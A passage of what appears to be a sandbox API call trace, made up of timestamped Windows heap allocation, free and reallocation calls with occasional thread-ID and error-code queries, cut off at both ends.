dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.926] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.926] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.926] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.926] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0ad8, Size=0xb8) returned 0x325f830 [0075.926] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.926] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.926] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.926] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.926] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.926] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.926] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.926] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.926] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.926] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.926] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.927] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.927] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.927] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.927] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.927] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.927] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.927] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.927] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.927] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.927] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.927] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.927] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325f830, Size=0xe8) returned 0x33d1830 [0075.927] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.927] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.927] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.927] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.927] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.927] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.927] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.928] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.928] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.928] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.928] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.928] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.928] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.928] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.928] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.928] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.928] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.928] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.928] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.928] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.928] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.928] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.928] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.928] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.928] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33d1830, Size=0x120) returned 0x2c374c0 [0075.929] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.929] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.929] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.929] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.929] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.929] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.929] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.929] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.929] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.929] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.929] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.929] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.929] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.929] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.929] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.929] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.929] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.929] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.929] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.930] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.930] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.930] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.930] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.930] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.930] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.930] GetCurrentThreadId () returned 0x9b0 [0075.930] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c374c0 | out: hHeap=0x2ad0000) returned 1 [0075.930] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc04b8 | out: hHeap=0x2ad0000) returned 1 [0075.930] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c) returned 0x30284e0 [0075.930] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30284e0 | out: hHeap=0x2ad0000) returned 1 [0075.930] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183aa0 [0075.930] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183a40 [0075.930] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183aa0 | out: hHeap=0x2ad0000) returned 1 [0075.930] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c848d8 [0075.930] GetCurrentThreadId () returned 0x9b0 [0075.930] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c848d8, Size=0x20) returned 0x3028238 [0075.930] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x373) returned 0x334e3a0 [0075.931] GetCurrentThreadId () returned 0x9b0 [0075.931] GetLastError () returned 0x0 [0075.931] GetCurrentThreadId () returned 0x9b0 [0075.931] GetLastError () returned 0x0 [0075.931] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ad400 | out: hHeap=0x2ad0000) returned 1 [0075.931] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de818 | out: hHeap=0x2ad0000) returned 1 [0075.931] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c848a8 | out: hHeap=0x2ad0000) returned 1 [0075.931] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84860 | out: hHeap=0x2ad0000) returned 1 [0075.931] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de858 | out: hHeap=0x2ad0000) returned 1 [0075.931] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84908 | out: hHeap=0x2ad0000) returned 1 [0075.931] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84830 | out: hHeap=0x2ad0000) returned 1 [0075.931] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84878 | out: hHeap=0x2ad0000) returned 1 [0075.931] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c847d0 | out: hHeap=0x2ad0000) returned 1 [0075.931] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84728 | out: hHeap=0x2ad0000) returned 1 [0075.931] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c848f0 | out: hHeap=0x2ad0000) returned 1 [0075.931] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31839e0 | out: hHeap=0x2ad0000) returned 1 [0075.931] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84890 | out: hHeap=0x2ad0000) returned 1 [0075.931] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84998 | out: hHeap=0x2ad0000) returned 1 [0075.932] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c845a8 | out: hHeap=0x2ad0000) returned 1 [0075.932] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84440 | out: hHeap=0x2ad0000) returned 1 [0075.932] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84608 | out: hHeap=0x2ad0000) returned 1 [0075.932] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c845c0 | out: hHeap=0x2ad0000) returned 1 [0075.932] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183b40 | out: hHeap=0x2ad0000) returned 1 [0075.932] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c849b0 | out: hHeap=0x2ad0000) returned 1 [0075.932] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c843f8 | out: hHeap=0x2ad0000) returned 1 [0075.932] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84668 | out: hHeap=0x2ad0000) returned 1 [0075.932] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183be0 | out: hHeap=0x2ad0000) returned 1 [0075.932] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84680 | out: hHeap=0x2ad0000) returned 1 [0075.932] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84488 | out: hHeap=0x2ad0000) returned 1 [0075.932] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84620 | out: hHeap=0x2ad0000) returned 1 [0075.932] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84650 | out: hHeap=0x2ad0000) returned 1 [0075.932] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84470 | out: hHeap=0x2ad0000) returned 1 [0075.932] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84428 | out: hHeap=0x2ad0000) returned 1 [0075.932] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84530 | out: hHeap=0x2ad0000) returned 1 [0075.932] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c845d8 | out: hHeap=0x2ad0000) returned 1 [0075.932] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c844a0 | out: hHeap=0x2ad0000) returned 1 [0075.933] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19250 | out: hHeap=0x2ad0000) returned 1 [0075.933] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84788 | out: hHeap=0x2ad0000) returned 1 [0075.933] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84710 [0075.933] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84998 [0075.933] GetCurrentThreadId () returned 0x9b0 [0075.933] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.933] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.933] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33075c0 | out: hHeap=0x2ad0000) returned 1 [0075.933] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.933] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.933] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.933] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.933] GetCurrentThreadId () returned 0x9b0 [0075.933] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.933] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x340f720, Size=0x941) returned 0x340f720 [0075.933] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x340f720, Size=0xf9a) returned 0x340f720 [0075.933] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.933] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.934] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.934] GetLastError () returned 0x0 [0075.934] GetLastError () returned 0x0 [0075.934] GetCurrentThreadId () returned 0x9b0 [0075.934] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.934] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.934] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.934] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.934] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.934] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.934] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.934] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.934] GetCurrentThreadId () returned 0x9b0 [0075.934] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.934] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.934] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.934] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.935] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de7c8 [0075.935] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84998, Size=0x10) returned 0x2c849b0 [0075.935] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84710, Size=0x10) returned 0x2c84740 [0075.935] GetCurrentThreadId () returned 0x9b0 [0075.935] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de758 [0075.935] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de7c8 | out: hHeap=0x2ad0000) returned 1 [0075.935] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de778 [0075.935] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de758 | out: hHeap=0x2ad0000) returned 1 [0075.935] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84830 [0075.935] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de778 | out: hHeap=0x2ad0000) returned 1 [0075.935] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c849b0, Size=0x10) returned 0x2c84950 [0075.935] GetCurrentThreadId () returned 0x9b0 [0075.935] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84908 [0075.935] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84740, Size=0x10) returned 0x2c84818 [0075.935] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.935] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.935] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.935] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.935] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.936] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.936] GetCurrentThreadId () returned 0x9b0 [0075.936] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de7f8 [0075.936] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84830 | out: hHeap=0x2ad0000) returned 1 [0075.936] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de7c8 [0075.936] GetCurrentThreadId () returned 0x9b0 [0075.936] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de818 [0075.936] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de7f8 | out: hHeap=0x2ad0000) returned 1 [0075.936] GetCurrentThreadId () returned 0x9b0 [0075.936] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84968 [0075.936] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de818 | out: hHeap=0x2ad0000) returned 1 [0075.936] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84950, Size=0x10) returned 0x2c84920 [0075.936] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84938 [0075.936] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84818, Size=0x10) returned 0x2c84788 [0075.936] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.936] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.936] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.937] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.937] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.937] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.937] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.937] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.937] GetCurrentThreadId () returned 0x9b0 [0075.937] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de858 [0075.937] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84968 | out: hHeap=0x2ad0000) returned 1 [0075.937] GetCurrentThreadId () returned 0x9b0 [0075.937] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6c8 [0075.937] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de858 | out: hHeap=0x2ad0000) returned 1 [0075.937] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de7f8 [0075.937] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6c8 | out: hHeap=0x2ad0000) returned 1 [0075.937] GetCurrentThreadId () returned 0x9b0 [0075.937] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de858 [0075.937] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de7f8 | out: hHeap=0x2ad0000) returned 1 [0075.937] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6e8 [0075.938] GetCurrentThreadId () returned 0x9b0 [0075.938] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de858 | out: hHeap=0x2ad0000) returned 1 [0075.938] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de788 [0075.938] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de858 [0075.938] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6e8 | out: hHeap=0x2ad0000) returned 1 [0075.938] GetCurrentThreadId () returned 0x9b0 [0075.938] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84860 [0075.938] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de858 | out: hHeap=0x2ad0000) returned 1 [0075.938] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84920, Size=0x10) returned 0x2c84710 [0075.938] GetCurrentThreadId () returned 0x9b0 [0075.938] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84980 [0075.939] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c849e0 [0075.939] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84788, Size=0x10) returned 0x2c84728 [0075.939] GetCurrentThreadId () returned 0x9b0 [0075.939] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.939] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.939] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.939] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.939] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.939] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.939] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.939] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.939] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84848 [0075.939] GetCurrentThreadId () returned 0x9b0 [0075.939] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de788 | out: hHeap=0x2ad0000) returned 1 [0075.939] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de7c8 | out: hHeap=0x2ad0000) returned 1 [0075.939] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84938 | out: hHeap=0x2ad0000) returned 1 [0075.939] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84860 | out: hHeap=0x2ad0000) returned 1 [0075.940] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84710, Size=0x10) returned 0x2c84998 [0075.940] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84728, Size=0x10) returned 0x2c84890 [0075.940] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6a8 [0075.940] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84848 | out: hHeap=0x2ad0000) returned 1 [0075.940] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84998, Size=0x10) returned 0x2c84818 [0075.940] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84890, Size=0x10) returned 0x2c849b0 [0075.940] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de748 [0075.940] GetCurrentThreadId () returned 0x9b0 [0075.940] 